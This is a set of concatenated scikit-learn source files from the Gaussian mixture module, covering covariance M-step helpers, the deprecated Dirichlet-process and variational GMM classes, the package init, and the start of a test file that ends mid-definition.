        cv = np.tile(np.diag(tied_cv), (n_components, 1))
    elif covariance_type == 'full':
        cv = np.tile(tied_cv, (n_components, 1, 1))
    else:
        raise ValueError("covariance_type must be one of " +
                         "'spherical', 'tied', 'diag', 'full'")
    return cv


def _covar_mstep_diag(gmm, X, responsibilities, weighted_X_sum, norm,
                      min_covar):
    """Perform the covariance M step for diagonal cases."""
    avg_X2 = np.dot(responsibilities.T, X * X) * norm
    avg_means2 = gmm.means_ ** 2
    avg_X_means = gmm.means_ * weighted_X_sum * norm
    return avg_X2 - 2 * avg_X_means + avg_means2 + min_covar


def _covar_mstep_spherical(*args):
    """Perform the covariance M step for spherical cases."""
    cv = _covar_mstep_diag(*args)
    return np.tile(cv.mean(axis=1)[:, np.newaxis], (1, cv.shape[1]))


def _covar_mstep_full(gmm, X, responsibilities, weighted_X_sum, norm,
                      min_covar):
    """Perform the covariance M step for full cases."""
    # Eq. 12 from K. Murphy, "Fitting a Conditional Linear Gaussian
    # Distribution"
    n_features = X.shape[1]
    cv = np.empty((gmm.n_components, n_features, n_features))
    for c in range(gmm.n_components):
        post = responsibilities[:, c]
        mu = gmm.means_[c]
        diff = X - mu
        with np.errstate(under='ignore'):
            # Underflow Errors in doing post * X.T are  not important
            avg_cv = np.dot(post * diff.T, diff) / (post.sum() + 10 * EPS)
        cv[c] = avg_cv + min_covar * np.eye(n_features)
    return cv


def _covar_mstep_tied(gmm, X, responsibilities, weighted_X_sum, norm,
                      min_covar):
    """Perform the covariance M step for tied cases."""
    # Eq. 15 from K. Murphy, "Fitting a Conditional Linear Gaussian
    # Distribution"
    avg_X2 = np.dot(X.T, X)
    avg_means2 = np.dot(gmm.means_.T, weighted_X_sum)
    out = avg_X2 - avg_means2
    out *= 1. / X.shape[0]
    out.flat[::len(out) + 1] += min_covar
    return out

_covar_mstep_funcs = {'spherical': _covar_mstep_spherical,
                      'diag': _covar_mstep_diag,
                      'tied': _covar_mstep_tied,
                      'full': _covar_mstep_full,
                      }






"""
The :mod:`sklearn.mixture` module implements mixture modeling algorithms.
"""

from .gmm import sample_gaussian, log_multivariate_normal_density
from .gmm import GMM, distribute_covar_matrix_to_match_covariance_type
from .gmm import _validate_covars
from .dpgmm import DPGMM, VBGMM

from .gaussian_mixture import GaussianMixture


__all__ = ['DPGMM',
           'GMM',
           'VBGMM',
           '_validate_covars',
           'distribute_covar_matrix_to_match_covariance_type',
           'log_multivariate_normal_density',
           'sample_gaussian',
           'GaussianMixture']






"""Bayesian Gaussian Mixture Models and
Dirichlet Process Gaussian Mixture Models"""
from __future__ import print_function

# Author: Alexandre Passos (alexandre.tp@gmail.com)
#         Bertrand Thirion <bertrand.thirion@inria.fr>
#
# Based on mixture.py by:
#         Ron Weiss <ronweiss@gmail.com>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#

import numpy as np
from scipy.special import digamma as _digamma, gammaln as _gammaln
from scipy import linalg
from scipy.spatial.distance import cdist

from ..externals.six.moves import xrange
from ..utils import check_random_state, check_array, deprecated
from ..utils.extmath import logsumexp, pinvh, squared_norm
from ..utils.validation import check_is_fitted
from .. import cluster
from .gmm import _GMMBase


@deprecated("The function digamma is deprecated in 0.18 and "
            "will be removed in 0.20. Use scipy.special.digamma instead.")
def digamma(x):
    return _digamma(x + np.finfo(np.float32).eps)


@deprecated("The function gammaln is deprecated in 0.18 and "
            "will be removed in 0.20. Use scipy.special.gammaln instead.")
def gammaln(x):
    return _gammaln(x + np.finfo(np.float32).eps)


@deprecated("The function log_normalize is deprecated in 0.18 and "
            "will be removed in 0.20.")
def log_normalize(v, axis=0):
    """Normalized probabilities from unnormalized log-probabilites"""
    v = np.rollaxis(v, axis)
    v = v.copy()
    v -= v.max(axis=0)
    out = logsumexp(v)
    v = np.exp(v - out)
    v += np.finfo(np.float32).eps
    v /= np.sum(v, axis=0)
    return np.swapaxes(v, 0, axis)


@deprecated("The function wishart_log_det is deprecated in 0.18 and "
            "will be removed in 0.20.")
def wishart_log_det(a, b, detB, n_features):
    """Expected value of the log of the determinant of a Wishart

    The expected value of the logarithm of the determinant of a
    wishart-distributed random variable with the specified parameters."""
    l = np.sum(digamma(0.5 * (a - np.arange(-1, n_features - 1))))
    l += n_features * np.log(2)
    return l + detB


@deprecated("The function wishart_logz is deprecated in 0.18 and "
            "will be removed in 0.20.")
def wishart_logz(v, s, dets, n_features):
    "The logarithm of the normalization constant for the wishart distribution"
    z = 0.
    z += 0.5 * v * n_features * np.log(2)
    z += (0.25 * (n_features * (n_features - 1)) * np.log(np.pi))
    z += 0.5 * v * np.log(dets)
    z += np.sum(gammaln(0.5 * (v - np.arange(n_features) + 1)))
    return z


def _bound_wishart(a, B, detB):
    """Returns a function of the dof, scale matrix and its determinant
    used as an upper bound in variational approximation of the evidence"""
    n_features = B.shape[0]
    logprior = wishart_logz(a, B, detB, n_features)
    logprior -= wishart_logz(n_features,
                             np.identity(n_features),
                             1, n_features)
    logprior += 0.5 * (a - 1) * wishart_log_det(a, B, detB, n_features)
    logprior += 0.5 * a * np.trace(B)
    return logprior


##############################################################################
# Variational bound on the log likelihood of each class
##############################################################################


def _sym_quad_form(x, mu, A):
    """helper function to calculate symmetric quadratic form x.T * A * x"""
    q = (cdist(x, mu[np.newaxis], "mahalanobis", VI=A) ** 2).reshape(-1)
    return q


def _bound_state_log_lik(X, initial_bound, precs, means, covariance_type):
    """Update the bound with likelihood terms, for standard covariance types"""
    n_components, n_features = means.shape
    n_samples = X.shape[0]
    bound = np.empty((n_samples, n_components))
    bound[:] = initial_bound
    if covariance_type in ['diag', 'spherical']:
        for k in range(n_components):
            d = X - means[k]
            bound[:, k] -= 0.5 * np.sum(d * d * precs[k], axis=1)
    elif covariance_type == 'tied':
        for k in range(n_components):
            bound[:, k] -= 0.5 * _sym_quad_form(X, means[k], precs)
    elif covariance_type == 'full':
        for k in range(n_components):
            bound[:, k] -= 0.5 * _sym_quad_form(X, means[k], precs[k])
    return bound


class _DPGMMBase(_GMMBase):
    """Variational Inference for the Infinite Gaussian Mixture Model.

    DPGMM stands for Dirichlet Process Gaussian Mixture Model, and it
    is an infinite mixture model with the Dirichlet Process as a prior
    distribution on the number of clusters. In practice the
    approximate inference algorithm uses a truncated distribution with
    a fixed maximum number of components, but almost always the number
    of components actually used depends on the data.

    Stick-breaking Representation of a Gaussian mixture model
    probability distribution. This class allows for easy and efficient
    inference of an approximate posterior distribution over the
    parameters of a Gaussian mixture model with a variable number of
    components (smaller than the truncation parameter n_components).

    Initialization is with normally-distributed means and identity
    covariance, for proper convergence.

    Read more in the :ref:`User Guide <dpgmm>`.

    Parameters
    ----------
    n_components: int, default 1
        Number of mixture components.

    covariance_type: string, default 'diag'
        String describing the type of covariance parameters to
        use.  Must be one of 'spherical', 'tied', 'diag', 'full'.

    alpha: float, default 1
        Real number representing the concentration parameter of
        the dirichlet process. Intuitively, the Dirichlet Process
        is as likely to start a new cluster for a point as it is
        to add that point to a cluster with alpha elements. A
        higher alpha means more clusters, as the expected number
        of clusters is ``alpha*log(N)``.

    tol : float, default 1e-3
        Convergence threshold.

    n_iter : int, default 10
        Maximum number of iterations to perform before convergence.

    params : string, default 'wmc'
        Controls which parameters are updated in the training
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars.

    init_params : string, default 'wmc'
        Controls which parameters are updated in the initialization
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars.  Defaults to 'wmc'.

    verbose : int, default 0
        Controls output verbosity.

    Attributes
    ----------
    covariance_type : string
        String describing the type of covariance parameters used by
        the DP-GMM.  Must be one of 'spherical', 'tied', 'diag', 'full'.

    n_components : int
        Number of mixture components.

    weights_ : array, shape (`n_components`,)
        Mixing weights for each mixture component.

    means_ : array, shape (`n_components`, `n_features`)
        Mean parameters for each mixture component.

    precs_ : array
        Precision (inverse covariance) parameters for each mixture
        component.  The shape depends on `covariance_type`::

            (`n_components`, 'n_features')                if 'spherical',
            (`n_features`, `n_features`)                  if 'tied',
            (`n_components`, `n_features`)                if 'diag',
            (`n_components`, `n_features`, `n_features`)  if 'full'

    converged_ : bool
        True when convergence was reached in fit(), False otherwise.

    See Also
    --------
    GMM : Finite Gaussian mixture model fit with EM

    VBGMM : Finite Gaussian mixture model fit with a variational
        algorithm, better for situations where there might be too little
        data to get a good estimate of the covariance matrix.
    """
    def __init__(self, n_components=1, covariance_type='diag', alpha=1.0,
                 random_state=None, tol=1e-3, verbose=0, min_covar=None,
                 n_iter=10, params='wmc', init_params='wmc'):
        self.alpha = alpha
        super(_DPGMMBase, self).__init__(n_components, covariance_type,
                                         random_state=random_state,
                                         tol=tol, min_covar=min_covar,
                                         n_iter=n_iter, params=params,
                                         init_params=init_params,
                                         verbose=verbose)

    def _get_precisions(self):
        """Return precisions as a full matrix."""
        if self.covariance_type == 'full':
            return self.precs_
        elif self.covariance_type in ['diag', 'spherical']:
            return [np.diag(cov) for cov in self.precs_]
        elif self.covariance_type == 'tied':
            return [self.precs_] * self.n_components

    def _get_covars(self):
        return [pinvh(c) for c in self._get_precisions()]

    def _set_covars(self, covars):
        raise NotImplementedError("""The variational algorithm does
        not support setting the covariance parameters.""")

    def score_samples(self, X):
        """Return the likelihood of the data under the model.

        Compute the bound on log probability of X under the model
        and return the posterior distribution (responsibilities) of
        each mixture component for each element of X.

        This is done by computing the parameters for the mean-field of
        z for each observation.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        logprob : array_like, shape (n_samples,)
            Log probabilities of each data point in X
        responsibilities: array_like, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation
        """
        check_is_fitted(self, 'gamma_')

        X = check_array(X)
        if X.ndim == 1:
            X = X[:, np.newaxis]
        z = np.zeros((X.shape[0], self.n_components))
        sd = digamma(self.gamma_.T[1] + self.gamma_.T[2])
        dgamma1 = digamma(self.gamma_.T[1]) - sd
        dgamma2 = np.zeros(self.n_components)
        dgamma2[0] = digamma(self.gamma_[0, 2]) - digamma(self.gamma_[0, 1] +
                                                          self.gamma_[0, 2])
        for j in range(1, self.n_components):
            dgamma2[j] = dgamma2[j - 1] + digamma(self.gamma_[j - 1, 2])
            dgamma2[j] -= sd[j - 1]
        dgamma = dgamma1 + dgamma2
        # Free memory and developers cognitive load:
        del dgamma1, dgamma2, sd

        if self.covariance_type not in ['full', 'tied', 'diag', 'spherical']:
            raise NotImplementedError("This ctype is not implemented: %s"
                                      % self.covariance_type)
        p = _bound_state_log_lik(X, self._initial_bound + self.bound_prec_,
                                 self.precs_, self.means_,
                                 self.covariance_type)
        z = p + dgamma
        z = log_normalize(z, axis=-1)
        bound = np.sum(z * p, axis=-1)
        return bound, z

    def _update_concentration(self, z):
        """Update the concentration parameters for each cluster"""
        sz = np.sum(z, axis=0)
        self.gamma_.T[1] = 1. + sz
        self.gamma_.T[2].fill(0)
        for i in range(self.n_components - 2, -1, -1):
            self.gamma_[i, 2] = self.gamma_[i + 1, 2] + sz[i]
        self.gamma_.T[2] += self.alpha

    def _update_means(self, X, z):
        """Update the variational distributions for the means"""
        n_features = X.shape[1]
        for k in range(self.n_components):
            if self.covariance_type in ['spherical', 'diag']:
                num = np.sum(z.T[k].reshape((-1, 1)) * X, axis=0)
                num *= self.precs_[k]
                den = 1. + self.precs_[k] * np.sum(z.T[k])
                self.means_[k] = num / den
            elif self.covariance_type in ['tied', 'full']:
                if self.covariance_type == 'tied':
                    cov = self.precs_
                else:
                    cov = self.precs_[k]
                den = np.identity(n_features) + cov * np.sum(z.T[k])
                num = np.sum(z.T[k].reshape((-1, 1)) * X, axis=0)
                num = np.dot(cov, num)
                self.means_[k] = linalg.lstsq(den, num)[0]

    def _update_precisions(self, X, z):
        """Update the variational distributions for the precisions"""
        n_features = X.shape[1]
        if self.covariance_type == 'spherical':
            self.dof_ = 0.5 * n_features * np.sum(z, axis=0)
            for k in range(self.n_components):
                # could be more memory efficient ?
                sq_diff = np.sum((X - self.means_[k]) ** 2, axis=1)
                self.scale_[k] = 1.
                self.scale_[k] += 0.5 * np.sum(z.T[k] * (sq_diff + n_features))
                self.bound_prec_[k] = (
                    0.5 * n_features * (
                        digamma(self.dof_[k]) - np.log(self.scale_[k])))
            self.precs_ = np.tile(self.dof_ / self.scale_, [n_features, 1]).T

        elif self.covariance_type == 'diag':
            for k in range(self.n_components):
                self.dof_[k].fill(1. + 0.5 * np.sum(z.T[k], axis=0))
                sq_diff = (X - self.means_[k]) ** 2  # see comment above
                self.scale_[k] = np.ones(n_features) + 0.5 * np.dot(
                    z.T[k], (sq_diff + 1))
                self.precs_[k] = self.dof_[k] / self.scale_[k]
                self.bound_prec_[k] = 0.5 * np.sum(digamma(self.dof_[k])
                                                   - np.log(self.scale_[k]))
                self.bound_prec_[k] -= 0.5 * np.sum(self.precs_[k])

        elif self.covariance_type == 'tied':
            self.dof_ = 2 + X.shape[0] + n_features
            self.scale_ = (X.shape[0] + 1) * np.identity(n_features)
            for k in range(self.n_components):
                diff = X - self.means_[k]
                self.scale_ += np.dot(diff.T, z[:, k:k + 1] * diff)
            self.scale_ = pinvh(self.scale_)
            self.precs_ = self.dof_ * self.scale_
            self.det_scale_ = linalg.det(self.scale_)
            self.bound_prec_ = 0.5 * wishart_log_det(
                self.dof_, self.scale_, self.det_scale_, n_features)
            self.bound_prec_ -= 0.5 * self.dof_ * np.trace(self.scale_)

        elif self.covariance_type == 'full':
            for k in range(self.n_components):
                sum_resp = np.sum(z.T[k])
                self.dof_[k] = 2 + sum_resp + n_features
                self.scale_[k] = (sum_resp + 1) * np.identity(n_features)
                diff = X - self.means_[k]
                self.scale_[k] += np.dot(diff.T, z[:, k:k + 1] * diff)
                self.scale_[k] = pinvh(self.scale_[k])
                self.precs_[k] = self.dof_[k] * self.scale_[k]
                self.det_scale_[k] = linalg.det(self.scale_[k])
                self.bound_prec_[k] = 0.5 * wishart_log_det(
                    self.dof_[k], self.scale_[k], self.det_scale_[k],
                    n_features)
                self.bound_prec_[k] -= 0.5 * self.dof_[k] * np.trace(
                    self.scale_[k])

    def _monitor(self, X, z, n, end=False):
        """Monitor the lower bound during iteration

        Debug method to help see exactly when it is failing to converge as
        expected.

        Note: this is very expensive and should not be used by default."""
        if self.verbose > 0:
            print("Bound after updating %8s: %f" % (n, self.lower_bound(X, z)))
            if end:
                print("Cluster proportions:", self.gamma_.T[1])
                print("covariance_type:", self.covariance_type)

    def _do_mstep(self, X, z, params):
        """Maximize the variational lower bound

        Update each of the parameters to maximize the lower bound."""
        self._monitor(X, z, "z")
        self._update_concentration(z)
        self._monitor(X, z, "gamma")
        if 'm' in params:
            self._update_means(X, z)
        self._monitor(X, z, "mu")
        if 'c' in params:
            self._update_precisions(X, z)
        self._monitor(X, z, "a and b", end=True)

    def _initialize_gamma(self):
        "Initializes the concentration parameters"
        self.gamma_ = self.alpha * np.ones((self.n_components, 3))

    def _bound_concentration(self):
        """The variational lower bound for the concentration parameter."""
        logprior = gammaln(self.alpha) * self.n_components
        logprior += np.sum((self.alpha - 1) * (
            digamma(self.gamma_.T[2]) - digamma(self.gamma_.T[1] +
                                                self.gamma_.T[2])))
        logprior += np.sum(- gammaln(self.gamma_.T[1] + self.gamma_.T[2]))
        logprior += np.sum(gammaln(self.gamma_.T[1]) +
                           gammaln(self.gamma_.T[2]))
        logprior -= np.sum((self.gamma_.T[1] - 1) * (
            digamma(self.gamma_.T[1]) - digamma(self.gamma_.T[1] +
                                                self.gamma_.T[2])))
        logprior -= np.sum((self.gamma_.T[2] - 1) * (
            digamma(self.gamma_.T[2]) - digamma(self.gamma_.T[1] +
                                                self.gamma_.T[2])))
        return logprior

    def _bound_means(self):
        "The variational lower bound for the mean parameters"
        logprior = 0.
        logprior -= 0.5 * squared_norm(self.means_)
        logprior -= 0.5 * self.means_.shape[1] * self.n_components
        return logprior

    def _bound_precisions(self):
        """Returns the bound term related to precisions"""
        logprior = 0.
        if self.covariance_type == 'spherical':
            logprior += np.sum(gammaln(self.dof_))
            logprior -= np.sum(
                (self.dof_ - 1) * digamma(np.maximum(0.5, self.dof_)))
            logprior += np.sum(- np.log(self.scale_) + self.dof_
                               - self.precs_[:, 0])
        elif self.covariance_type == 'diag':
            logprior += np.sum(gammaln(self.dof_))
            logprior -= np.sum(
                (self.dof_ - 1) * digamma(np.maximum(0.5, self.dof_)))
            logprior += np.sum(- np.log(self.scale_) + self.dof_ - self.precs_)
        elif self.covariance_type == 'tied':
            logprior += _bound_wishart(self.dof_, self.scale_, self.det_scale_)
        elif self.covariance_type == 'full':
            for k in range(self.n_components):
                logprior += _bound_wishart(self.dof_[k],
                                           self.scale_[k],
                                           self.det_scale_[k])
        return logprior

    def _bound_proportions(self, z):
        """Returns the bound term related to proportions"""
        dg12 = digamma(self.gamma_.T[1] + self.gamma_.T[2])
        dg1 = digamma(self.gamma_.T[1]) - dg12
        dg2 = digamma(self.gamma_.T[2]) - dg12

        cz = np.cumsum(z[:, ::-1], axis=-1)[:, -2::-1]
        logprior = np.sum(cz * dg2[:-1]) + np.sum(z * dg1)
        del cz  # Save memory
        z_non_zeros = z[z > np.finfo(np.float32).eps]
        logprior -= np.sum(z_non_zeros * np.log(z_non_zeros))
        return logprior

    def _logprior(self, z):
        logprior = self._bound_concentration()
        logprior += self._bound_means()
        logprior += self._bound_precisions()
        logprior += self._bound_proportions(z)
        return logprior

    def lower_bound(self, X, z):
        """returns a lower bound on model evidence based on X and membership"""
        check_is_fitted(self, 'means_')

        if self.covariance_type not in ['full', 'tied', 'diag', 'spherical']:
            raise NotImplementedError("This ctype is not implemented: %s"
                                      % self.covariance_type)
        X = np.asarray(X)
        if X.ndim == 1:
            X = X[:, np.newaxis]
        c = np.sum(z * _bound_state_log_lik(X, self._initial_bound +
                                            self.bound_prec_, self.precs_,
                                            self.means_, self.covariance_type))

        return c + self._logprior(z)

    def _set_weights(self):
        for i in xrange(self.n_components):
            self.weights_[i] = self.gamma_[i, 1] / (self.gamma_[i, 1]
                                                    + self.gamma_[i, 2])
        self.weights_ /= np.sum(self.weights_)

    def _fit(self, X, y=None):
        """Estimate model parameters with the variational
        algorithm.

        For a full derivation and description of the algorithm see
        doc/modules/dp-derivation.rst
        or
        http://scikit-learn.org/stable/modules/dp-derivation.html

        A initialization step is performed before entering the em
        algorithm. If you want to avoid this step, set the keyword
        argument init_params to the empty string '' when creating
        the object. Likewise, if you would like just to do an
        initialization, set n_iter=0.

        Parameters
        ----------
        X : array_like, shape (n, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        responsibilities : array, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation.
        """
        self.random_state_ = check_random_state(self.random_state)

        # initialization step
        X = check_array(X)
        if X.ndim == 1:
            X = X[:, np.newaxis]

        n_samples, n_features = X.shape
        z = np.ones((n_samples, self.n_components))
        z /= self.n_components

        self._initial_bound = - 0.5 * n_features * np.log(2 * np.pi)
        self._initial_bound -= np.log(2 * np.pi * np.e)

        if (self.init_params != '') or not hasattr(self, 'gamma_'):
            self._initialize_gamma()

        if 'm' in self.init_params or not hasattr(self, 'means_'):
            self.means_ = cluster.KMeans(
                n_clusters=self.n_components,
                random_state=self.random_state_).fit(X).cluster_centers_[::-1]

        if 'w' in self.init_params or not hasattr(self, 'weights_'):
            self.weights_ = np.tile(1.0 / self.n_components, self.n_components)

        if 'c' in self.init_params or not hasattr(self, 'precs_'):
            if self.covariance_type == 'spherical':
                self.dof_ = np.ones(self.n_components)
                self.scale_ = np.ones(self.n_components)
                self.precs_ = np.ones((self.n_components, n_features))
                self.bound_prec_ = 0.5 * n_features * (
                    digamma(self.dof_) - np.log(self.scale_))
            elif self.covariance_type == 'diag':
                self.dof_ = 1 + 0.5 * n_features
                self.dof_ *= np.ones((self.n_components, n_features))
                self.scale_ = np.ones((self.n_components, n_features))
                self.precs_ = np.ones((self.n_components, n_features))
                self.bound_prec_ = 0.5 * (np.sum(digamma(self.dof_) -
                                                 np.log(self.scale_), 1))
                self.bound_prec_ -= 0.5 * np.sum(self.precs_, 1)
            elif self.covariance_type == 'tied':
                self.dof_ = 1.
                self.scale_ = np.identity(n_features)
                self.precs_ = np.identity(n_features)
                self.det_scale_ = 1.
                self.bound_prec_ = 0.5 * wishart_log_det(
                    self.dof_, self.scale_, self.det_scale_, n_features)
                self.bound_prec_ -= 0.5 * self.dof_ * np.trace(self.scale_)
            elif self.covariance_type == 'full':
                self.dof_ = (1 + self.n_components + n_samples)
                self.dof_ *= np.ones(self.n_components)
                self.scale_ = [2 * np.identity(n_features)
                               for _ in range(self.n_components)]
                self.precs_ = [np.identity(n_features)
                               for _ in range(self.n_components)]
                self.det_scale_ = np.ones(self.n_components)
                self.bound_prec_ = np.zeros(self.n_components)
                for k in range(self.n_components):
                    self.bound_prec_[k] = wishart_log_det(
                        self.dof_[k], self.scale_[k], self.det_scale_[k],
                        n_features)
                    self.bound_prec_[k] -= (self.dof_[k] *
                                            np.trace(self.scale_[k]))
                self.bound_prec_ *= 0.5

        # EM algorithms
        current_log_likelihood = None
        # reset self.converged_ to False
        self.converged_ = False

        for i in range(self.n_iter):
            prev_log_likelihood = current_log_likelihood
            # Expectation step
            curr_logprob, z = self.score_samples(X)

            current_log_likelihood = (
                curr_logprob.mean() + self._logprior(z) / n_samples)

            # Check for convergence.
            if prev_log_likelihood is not None:
                change = abs(current_log_likelihood - prev_log_likelihood)
                if change < self.tol:
                    self.converged_ = True
                    break

            # Maximization step
            self._do_mstep(X, z, self.params)

        if self.n_iter == 0:
            # Need to make sure that there is a z value to output
            # Output zeros because it was just a quick initialization
            z = np.zeros((X.shape[0], self.n_components))

        self._set_weights()

        return z


@deprecated("The DPGMM class is not working correctly and it's better "
            "to not use it. DPGMM is deprecated in 0.18 and "
            "will be removed in 0.20.")
class DPGMM(_DPGMMBase):
    def __init__(self, n_components=1, covariance_type='diag', alpha=1.0,
                 random_state=None, tol=1e-3, verbose=0, min_covar=None,
                 n_iter=10, params='wmc', init_params='wmc'):
        super(DPGMM, self).__init__(
            n_components=n_components, covariance_type=covariance_type,
            alpha=alpha, random_state=random_state, tol=tol, verbose=verbose,
            min_covar=min_covar, n_iter=n_iter, params=params,
            init_params=init_params)


@deprecated("The VBGMM class is not working correctly and it's better "
            "to not use it. VBGMM is deprecated in 0.18 and "
            "will be removed in 0.20.")
class VBGMM(_DPGMMBase):
    """Variational Inference for the Gaussian Mixture Model

    Variational inference for a Gaussian mixture model probability
    distribution. This class allows for easy and efficient inference
    of an approximate posterior distribution over the parameters of a
    Gaussian mixture model with a fixed number of components.

    Initialization is with normally-distributed means and identity
    covariance, for proper convergence.

    Read more in the :ref:`User Guide <vbgmm>`.

    Parameters
    ----------
    n_components: int, default 1
        Number of mixture components.

    covariance_type: string, default 'diag'
        String describing the type of covariance parameters to
        use.  Must be one of 'spherical', 'tied', 'diag', 'full'.

    alpha: float, default 1
        Real number representing the concentration parameter of
        the dirichlet distribution. Intuitively, the higher the
        value of alpha the more likely the variational mixture of
        Gaussians model will use all components it can.

    tol : float, default 1e-3
        Convergence threshold.

    n_iter : int, default 10
        Maximum number of iterations to perform before convergence.

    params : string, default 'wmc'
        Controls which parameters are updated in the training
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars.

    init_params : string, default 'wmc'
        Controls which parameters are updated in the initialization
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars.  Defaults to 'wmc'.

    verbose : int, default 0
        Controls output verbosity.

    Attributes
    ----------
    covariance_type : string
        String describing the type of covariance parameters used by
        the DP-GMM.  Must be one of 'spherical', 'tied', 'diag', 'full'.

    n_features : int
        Dimensionality of the Gaussians.

    n_components : int (read-only)
        Number of mixture components.

    weights_ : array, shape (`n_components`,)
        Mixing weights for each mixture component.

    means_ : array, shape (`n_components`, `n_features`)
        Mean parameters for each mixture component.

    precs_ : array
        Precision (inverse covariance) parameters for each mixture
        component.  The shape depends on `covariance_type`::

            (`n_components`, 'n_features')                if 'spherical',
            (`n_features`, `n_features`)                  if 'tied',
            (`n_components`, `n_features`)                if 'diag',
            (`n_components`, `n_features`, `n_features`)  if 'full'

    converged_ : bool
        True when convergence was reached in fit(), False
        otherwise.

    See Also
    --------
    GMM : Finite Gaussian mixture model fit with EM
    DPGMM : Infinite Gaussian mixture model, using the dirichlet
        process, fit with a variational algorithm
    """

    def __init__(self, n_components=1, covariance_type='diag', alpha=1.0,
                 random_state=None, tol=1e-3, verbose=0,
                 min_covar=None, n_iter=10, params='wmc', init_params='wmc'):
        super(VBGMM, self).__init__(
            n_components, covariance_type, random_state=random_state,
            tol=tol, verbose=verbose, min_covar=min_covar,
            n_iter=n_iter, params=params, init_params=init_params)
        self.alpha = alpha

    def _fit(self, X, y=None):
        """Estimate model parameters with the variational algorithm.

        For a full derivation and description of the algorithm see
        doc/modules/dp-derivation.rst
        or
        http://scikit-learn.org/stable/modules/dp-derivation.html

        A initialization step is performed before entering the EM
        algorithm. If you want to avoid this step, set the keyword
        argument init_params to the empty string '' when creating
        the object. Likewise, if you just would like to do an
        initialization, set n_iter=0.

        Parameters
        ----------
        X : array_like, shape (n, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        responsibilities : array, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation.
        """
        self.alpha_ = float(self.alpha) / self.n_components
        return super(VBGMM, self)._fit(X, y)

    def score_samples(self, X):
        """Return the likelihood of the data under the model.

        Compute the bound on log probability of X under the model
        and return the posterior distribution (responsibilities) of
        each mixture component for each element of X.

        This is done by computing the parameters for the mean-field of
        z for each observation.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        logprob : array_like, shape (n_samples,)
            Log probabilities of each data point in X
        responsibilities: array_like, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation
        """
        check_is_fitted(self, 'gamma_')

        X = check_array(X)
        if X.ndim == 1:
            X = X[:, np.newaxis]
        dg = digamma(self.gamma_) - digamma(np.sum(self.gamma_))

        if self.covariance_type not in ['full', 'tied', 'diag', 'spherical']:
            raise NotImplementedError("This ctype is not implemented: %s"
                                      % self.covariance_type)
        p = _bound_state_log_lik(X, self._initial_bound + self.bound_prec_,
                                 self.precs_, self.means_,
                                 self.covariance_type)

        z = p + dg
        z = log_normalize(z, axis=-1)
        bound = np.sum(z * p, axis=-1)
        return bound, z

    def _update_concentration(self, z):
        for i in range(self.n_components):
            self.gamma_[i] = self.alpha_ + np.sum(z.T[i])

    def _initialize_gamma(self):
        self.gamma_ = self.alpha_ * np.ones(self.n_components)

    def _bound_proportions(self, z):
        logprior = 0.
        dg = digamma(self.gamma_)
        dg -= digamma(np.sum(self.gamma_))
        logprior += np.sum(dg.reshape((-1, 1)) * z.T)
        z_non_zeros = z[z > np.finfo(np.float32).eps]
        logprior -= np.sum(z_non_zeros * np.log(z_non_zeros))
        return logprior

    def _bound_concentration(self):
        logprior = 0.
        logprior = gammaln(np.sum(self.gamma_)) - gammaln(self.n_components
                                                          * self.alpha_)
        logprior -= np.sum(gammaln(self.gamma_) - gammaln(self.alpha_))
        sg = digamma(np.sum(self.gamma_))
        logprior += np.sum((self.gamma_ - self.alpha_)
                           * (digamma(self.gamma_) - sg))
        return logprior

    def _monitor(self, X, z, n, end=False):
        """Monitor the lower bound during iteration

        Debug method to help see exactly when it is failing to converge as
        expected.

        Note: this is very expensive and should not be used by default."""
        if self.verbose > 0:
            print("Bound after updating %8s: %f" % (n, self.lower_bound(X, z)))
            if end:
                print("Cluster proportions:", self.gamma_)
                print("covariance_type:", self.covariance_type)

    def _set_weights(self):
        self.weights_[:] = self.gamma_
        self.weights_ /= np.sum(self.weights_)






# These tests are those of the deprecated GMM class

import unittest
import copy
import sys

from nose.tools import assert_true
import numpy as np
from numpy.testing import (assert_array_equal, assert_array_almost_equal,
                           assert_raises)
from scipy import stats
from sklearn import mixture
from sklearn.datasets.samples_generator import make_spd_matrix
from sklearn.utils.testing import (assert_greater, assert_raise_message,
                                   assert_warns_message, ignore_warnings)
from sklearn.metrics.cluster import adjusted_rand_score
from sklearn.externals.six.moves import cStringIO as StringIO


rng = np.random.RandomState(0)


def test_sample_gaussian():
    # Test sample generation from mixture.sample_gaussian where covariance
    # is diagonal, spherical and full

    n_features, n_samples = 2, 300
    axis = 1
    mu = rng.randint(10) * rng.rand(n_features)
    cv = (rng.rand(n_features) + 1.0) ** 2

    samples = mixture.sample_gaussian(
        mu, cv, covariance_type='diag', n_samples=n_samples)

    assert_true(np.allclose(samples.mean(axis), mu, atol=1.3))
    assert_true(np.allclose(samples.var(axis), cv, atol=1.5))

    # the same for spherical covariances
    cv = (rng.rand() + 1.0) ** 2
    samples = mixture.sample_gaussian(
        mu, cv, covariance_type='spherical', n_samples=n_samples)

    assert_true(np.allclose(samples.mean(axis), mu, atol=1.5))
    assert_true(np.allclose(
        samples.var(axis), np.repeat(cv, n_features), atol=1.5))

    # and for full covariances
    A = rng.randn(n_features, n_features)
    cv = np.dot(A.T, A) + np.eye(n_features)
    samples = mixture.sample_gaussian(
        mu, cv, covariance_type='full', n_samples=n_samples)
    assert_true(np.allclose(samples.mean(axis), mu, atol=1.3))
    assert_true(np.allclose(np.cov(samples), cv, atol=2.5))

    # Numerical stability check: in SciPy 0.12.0 at least, eigh may return
    # tiny negative values in its second return value.
    from sklearn.mixture import sample_gaussian
    x = sample_gaussian([0, 0], [[4, 3], [1, .1]],
                        covariance_type='full', random_state=42)
    assert_true(np.isfinite(x).all())


def _naive_lmvnpdf_diag(X, mu, cv):
